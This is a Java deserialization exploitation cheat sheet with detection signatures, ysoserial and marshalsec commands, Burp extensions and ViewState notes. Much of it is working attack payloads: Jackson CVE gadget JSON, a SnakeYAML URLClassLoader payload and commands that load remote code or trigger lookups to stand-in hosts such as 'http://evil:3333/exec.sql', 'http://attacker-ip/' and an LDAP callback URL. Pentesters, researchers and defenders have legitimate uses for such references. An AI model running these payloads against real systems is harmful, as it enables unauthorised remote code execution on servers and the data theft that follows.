Java Deserialization

Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the Serializable interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.

Summary

• Detection
• Tools
  • Ysoserial
  • Burp extensions using ysoserial
  • Alternative Tooling
• YAML Deserialization
• ViewState
• References

Detection

• "AC ED 00 05" in Hex
  • AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
  • 00 05: STREAM_VERSION. The serialization version.
• "rO0" in Base64
• Content-Type = "application/x-java-serialized-object"
• "H4sIAAAAAAAAAJ" in gzip(base64)

Tools

Ysoserial

frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64

List of payloads included in ysoserial:

Burp extensions

• NetSPI/JavaSerialKiller - Burp extension to perform Java Deserialization Attacks
• federicodotta/Java Deserialization Scanner - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
• summitt/burp-ysoserial - YSOSERIAL Integration with Burp Suite
• DirectDefense/SuperSerial - Burp Java Deserialization Vulnerability Identification
• DirectDefense/SuperSerial-Active - Java Deserialization Vulnerability Active Identification Burp Extender

Alternative Tooling

• pwntester/JRE8u20_RCE_Gadget - Pure JRE 8 RCE Deserialization gadget

• joaomatosf/JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool

• pimps/ysoserial-modified - A fork of the original ysoserial application

• NickstaDB/SerialBrute - Java serialization brute force attack tool

• NickstaDB/SerializationDumper - A tool to dump Java serialization streams in a more human readable form

• bishopfox/gadgetprobe - Exploiting Deserialization to Brute-Force the Remote Classpath

• k3idii/Deserek - Python code to Serialize and Unserialize java binary serialization format.

  javaCopy

  java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
  python deserek.py yss_base.bin --format python > yss_url.py
  python yss_url.py yss_new.bin
  java -cp JavaSerializationTestSuite DeSerial yss_new.bin
  

• mbechler/marshalsec - Java Unmarshaller Security - Turning your data into code execution

  javaCopy

  $ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
  $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
  $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
  // -a - generates/tests all payloads for that marshaller
  // -t - runs in test mode, unmarshalling the generated payloads after generating them.
  // -v - verbose mode, e.g. also shows the generated payload in test mode.
  // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
  // arguments - Gadget specific arguments
  

Payload generators for the following marshallers are included:

JSON Deserialization

Multiple libraries can be used to handle JSON in Java.

• json-io
• Jackson
• Fastjson
• Genson
• Flexjson
• Jodd

Jackson:

Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data. Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.

To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

• com.fasterxml.jackson.databind
• org.codehaus.jackson.map

Exploitation:

• CVE-2017-7525

  jsonCopy

  {
    "param": [
      "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
      {
        "transletBytecodes": [
          "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
        ],
        "transletName": "a.b",
        "outputProperties": {}
      }
    ]
  }
  

• CVE-2017-17485

  jsonCopy

  {
    "param": [
      "org.springframework.context.support.FileSystemXmlApplicationContext",
      "http://evil/spel.xml"
    ]
  }
  

• CVE-2019-12384

  jsonCopy

  [
    "ch.qos.logback.core.db.DriverManagerConnectionSource", 
    {
      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
    }
  ]
  

• CVE-2020-36180

  jsonCopy

  [
    "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
    {
      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
    }
  ]
  

• CVE-2020-9548

  jsonCopy

  [
    "br.com.anteros.dbcp.AnterosDBCPConfig",
    {
      "healthCheckRegistry": "ldap://{{interactsh-url}}"
    }
  ]
  

YAML Deserialization

• SnakeYAML
• jYAML
• YamlBeans

SnakeYAML:

SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker-ip/"]
  ]]
]

ViewState

In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:

• Oracle Mojarra (JSF reference implementation)
• Apache MyFaces

Tools:

• joaomatosf/jexboss - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
• Synacktiv-contrib/inyourface - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.

Encoding

Storage

The javax.faces.STATE_SAVING_METHOD is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.

The storage method can also be inferred from the viewstate representation in the HTML body.

• Server side storage: value="-XXX:-XXXX"
• Client side storage: base64 + gzip + Java Object

Encryption

By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.

Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter. The value of these parameters and their secrets can be found inside these XML clauses.

<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>   
<param-name>org.apache.myfaces.SECRET</param-name>   
<param-name>org.apache.myfaces.MAC_SECRET</param-name>

Common secrets from the documentation.

• Encryption: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
• Decryption: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data

References

• Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017
• Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017
• Hack The Box - Arkham - 0xRick - August 10, 2019
• How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018
• Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019
• Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019
• Jackson Polymorphic Deserialization - FasterXML - July 23, 2020
• Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023
• Java Deserialization in ViewState - Haboob Team - December 23, 2020
• JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016
• Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017
• On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017
• Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021
• Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020
• Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017
• Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017